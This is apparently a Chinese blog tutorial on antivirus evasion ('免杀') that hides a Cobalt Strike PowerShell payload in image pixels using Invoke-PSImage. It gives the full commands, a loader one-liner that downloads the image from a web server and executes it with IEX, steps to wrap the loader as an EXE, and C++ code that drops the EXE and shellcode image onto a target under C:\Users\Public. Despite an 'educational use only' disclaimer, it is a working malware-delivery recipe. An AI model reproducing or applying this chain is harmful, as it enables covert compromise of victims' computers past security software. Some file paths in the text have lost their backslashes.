学习记录–免杀篇

来CSDN有点时间了,老是查问题感觉有点没有乐趣,正好有时间就随便写写内容吧。个人比较喜欢网安那块,借此机会向大家分享下我收集的方法(也是没事记录下学习过程)。第一次写文章可能会读的比较绕,先抱歉了,以后我会多写点锻炼下自己
内容有点多,我分个几期写吧

写在开头,此系列文章全部属于教育和经验交流,请勿用于非法用途!!!

免杀BYPASS:向图片RGB中写入Shellcode,让加载器加载
1.向图片RGB写入Shellcode上传至WEB,让目标远程访问(此方法缺点就是加载时间有点长,但是过AV是没有问题)。或者丢到目标本地加载,这里就要用到RAR压缩(这个效率高,但是RAR压缩释放某数字会拦截)

WEB加载步骤

需要用到的工具:

	https://github.com/peewpw/Invoke-PSImage

在这里插入图片描述

下载下来后请把要将写入Shellcode的图片放在同级目录里

使用Cobalt Strike 生成 Powershell后也丢进lnvoke-PSImag文件夹此时文件夹里应有:Invoke-PSImage.ps1、将写入Shellcode的图片、CS生成的PS1文件

在这里插入图片描述

打开powershell导航到Invoke-PSImag目录(快捷方法:文件管理器里面Shift+反键–>在此处打开powershell窗口)
执行以下命令:

# 设置执行策略选择A(全是)
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
# 导入 Invoke-PSimage.ps1 文件
Import-Module .Invoke-PSimage.ps1
# 生成带有 Shellcode 的图片
Invoke-PSImage -Script .payload.ps1 -Image .原图片名称.jpg -Out .输出文件名称.png -Web

执行成功后,你将会得到一个带shellcode的图片及一串加载代码:

在这里插入图片描述

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("请在此填入web的访问路径"));
$o=a Byte[] 5120;(0..1)|%{foreach($x in(0..2559)){$p=$g.GetPixel($x,$_);$o[$_*2560+$x]=([math]::Floor(($p.B-band15)*16)-bor
($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))

注意:需要把我的“请在此填入web的访问路径”改成你丢shellcode的web地址
最后把此代码在target的powershell上面执行或者封装成C++函数调用执行就OK

在这里插入图片描述

EXE本地加载步骤
需要用到的工具:

https://github.com/MScholtes/Win-PS2EXE

还是在Invoke-PSimage的Powershell里面输入一下命令:

生成本地加载的图片:
# 设置执行策略
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
# 导入 Invoke-PSimage.ps1 文件
Import-Module .Invoke-PSimage.ps1
# 生成带有 Shellcode 的图片
Invoke-PSImage -Script .payload.ps1 -Image .原图名称.jpg -Out .输出图片名称.png

运行完后你将得到一个图片+下面的代码

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("这里写绝对路径或者相对路径\shellcode");
$o=a Byte[] 5120;(0..1)|%{foreach($x in(0..2559)){$p=$g.GetPixel($x,$_);$o[$_*2560+$x]=([math]::Floor(($p.B-band15)*16)
-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))

下一步我们把代码创建并写入payload.txt后,将txt文本类型改ps1类型

在这里插入图片描述

至此你已经成功一半了。
下一步下载:Win-PS2EXE(ps1转exe软件,下载链接在上面)

下载后进入目录后请先运行下Compile.bat使它把Win-PS2EXE.exe编译出来

在这里插入图片描述

运行Win-PS2EXE.exe填写好参数点下compile开始转换成可执行文件

在这里插入图片描述

在这里插入图片描述

最后我们将图片先丢到你填的路径里去,然后打开编译的exe,CS就上线了(这里我的虚拟机出了点故障打不开暂时用主机测试下)

在这里插入图片描述

到这里整个本地加载就完成了。当然这只是简单的加载,真正在操作的时候是没有机会去丢图片和exe的。在实际利用中,我们可以试试WINRAR压缩释放。通过WINRAR把exe和图片都压缩成一个伪可执行
文件。一旦开始运行,RAR会把图片和exe都释放到你指定的目录下,并启动exe[这个方法网上有一堆,我就不多阐述了]。主要说下C++版,
在C++中我们可以用VS里面的资源模块:

在这里插入图片描述

图片里面的DLL是我之前写项目用的,exe和png的释放和dll都是一样的,不影响.

C++释放exe和Shellcode图片步骤:
1.创建一个项目并选择添加—资源

在这里插入图片描述

2.选择导入

在这里插入图片描述

3.选择你之前编译的exe

在这里插入图片描述

4.资源类型可以写EXE

在这里插入图片描述

5.点击确定后,你的项目里面就会多出一个resource.h头文件+[项目名称].rc+你将要释放的exe

在这里插入图片描述

6.随后打开resource.h,我们要找到一个参数:DLL的定义,为我们接下来的释放函数做准备

在这里插入图片描述
图中IDR_DLL1就是我们要找的参数

7.创建一个释放.cpp,写入以下函数

    bool CreateMyFile(char* strFilePath, LPBYTE lpBuffer, DWORD dwSize)
	{
	DWORD dwWritten;

	HANDLE hFile = CreateFile(strFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
	if (hFile != NULL)
	{
		WriteFile(hFile, (LPCVOID)lpBuffer, dwSize, &dwWritten, NULL);
	}
	else
	{
		return false;
	}
	CloseHandle(hFile);
	return true;
	}


	bool CreateEXE(char* strFilePath, int nResourceID, char* strResourceName)
	{
	HRSRC hResInfo;
	HGLOBAL hResData;
	DWORD dwSize;
	LPBYTE p;
	hResInfo = FindResource(NULL, MAKEINTRESOURCE(nResourceID), strResourceName);
	if (hResInfo == NULL)
	{
		cout << "1" << endl;
		MessageBox(NULL, "查找资源失败!", "错误", MB_OK | MB_ICONINFORMATION);
		return false;
	}
	dwSize = SizeofResource(NULL, hResInfo);
	hResData = LoadResource(NULL, hResInfo);
	if (hResData == NULL)
	{
		MessageBox(NULL, "装载资源失败!","错误", MB_OK | MB_ICONINFORMATION);
		return false;
	}
	p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
	if (p == NULL)
	{
		MessageBox(NULL, "分配内存失败!", "错误", MB_OK | MB_ICONINFORMATION);
		return false;
	}
	CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);

	bool bRet = CreateMyFile(strFilePath, p, dwSize);
	if (!bRet)
	{
		GlobalFree((HGLOBAL)p);
		return false;
	}

	GlobalFree((HGLOBAL)p);

	return true;
	}


	//函数调用
	//CreateEXE(你要释放的路径, resource.h头文件中释放文件的定义,例如:IDR_DLL1, "你的资源后缀,直接填exe和png");
	//演示
	CreateEXE("C:UsersPublicDocumentsBypass.exe", "IDR_EXE", "EXE");//这个就是释放exe的调用
	CreateEXE("C:UsersPublicDocumentsshellcode.png", "IDR_PNG", "PNG");//释放shellcode的图片

至此您已完成BYPASS.exe和需要加载的目标shellcode.png的C++编写.
文中有任何写的有错误的地方请大佬们指出来我会及时修正的,初次写文章内容写的烂请各位大佬多多包容下

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>